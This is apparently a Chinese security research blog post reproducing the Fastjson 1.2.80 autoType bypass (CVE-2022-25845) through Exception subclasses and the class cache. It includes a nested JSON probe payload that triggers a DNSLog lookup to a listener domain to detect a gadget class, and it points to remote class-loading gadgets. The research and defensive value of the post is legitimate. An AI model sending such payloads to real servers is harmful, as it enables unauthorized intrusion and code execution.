查看原文
其他

Fastjson1.2.80漏洞复现

Zhuri 默安逐日实验室 2022-10-15
  • • Web安全

  • • Fastjson

  • • unserialize

  • • CVE-2022-25845



Fastjson于5月23日,在commit 560782ccommit 097bff1中更新了security_update_20220523的修复方案。调整黑白名单的同时额外判断了Exception,并在添加类缓存mappings前新增了autoTypeSupport的判断。

显而易见Exception的派生类中出了叛徒,不久后fastjson-blacklist更新了黑名单类名,直到前几天漏洞作者iSafeBlue公开了思路与Gadgets,本文是对浅蓝师傅议题中留下的一点小作业的复现记录。

期望类与类缓存

不太了解的同学可以参考《Fastjson-autoType漏洞总结》(https://hosch3n.github.io/2022/03/24/Fastjson-autoType%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/),1.2.80第一步依然是基于众所周知的期望类机制将其它类加入类缓存,关键在于怎么横向出Exception之外的其它类型。

Fastjson反序列化恢复类实例时,自然也需要恢复用到了的类属性。如果这个属性是可利用的类且我们可控,是不是就能直接利用 或者进一步横向扩展出其它类间接利用。上一篇我们说到了期望类不但可以由JSON显式指定,同样可以由类间关系隐式确定,那么依靠属性名赋值时的隐式类间关系,也就不再需要在JSON中显式指定@type,从而绕过了autoType的白名单检查。

实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类。

利用流程

  1. 1. 指定显式期望类,实例化XXXException并被加入类缓存。

  2. 2. 通过XXXException中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存。

  3. 3. 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存。

第二步的重点在于,既然不能显示指定期望类,就只能依靠deserializer去自动处理,我们需要构造出让它解析时进到特定deserializer分支的特定格式。对此我提供一个aspectj读文件和groovy远程类加载的具体实现便于师傅们理解复现。更多Gadgets浅蓝师傅在Slides中写得很清楚了,可以自行构造。

https://github.com/hosch3n/FastjsonVulns


两点小坑

再提醒两点小坑,一是如果DNSLog是用p师傅的CoNote,存在下划线时是不会被记录到的(这个问题让我自闭了一阵)。

经继续测试和p师傅提醒,如果链路上的DNS服务器缓存或不接受特殊字符,可能导致DNSLog记录丢失。

{
    "@type":"java.net.Inet4Address",
    "val":{
        "@type":"java.lang.String"{
        "@type":"java.util.Locale",
        "val":{
            "@type":"com.alibaba.fastjson.JSONObject",{
                "@type":"java.lang.String"
                "@type":"java.util.Locale",
                "country":"g.token.dnslog.pw",
                "language":{
                    "@type":"java.lang.String"{
                    "x":{
                        "@type":"java.lang.Class",
                        "val":"org.python.antlr.ParseException"
                    }
                }
            }
        }
    }

二是目前测试来看只有MacOS可以ping带花括号的域名,Linux和Windows会报错。所以这个探测链的Poc需要要合适的报错环境才能看到结果。

参考资料

commit 560782c:https://github.com/alibaba/fastjson/commit/560782c9ee12120304284ba98b61dc61e30324b3

commit 097bff1:https://github.com/alibaba/fastjson/commit/097bff1a792e39f4e0b2807faa53af0e89fbe5e0

security_update_20220523:https://github.com/alibaba/fastjson/wiki/security_update_20220523

fastjson-blacklist:https://github.com/LeadroyaL/fastjson-blacklist

iSafeBlue:https://github.com/iSafeBlue


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存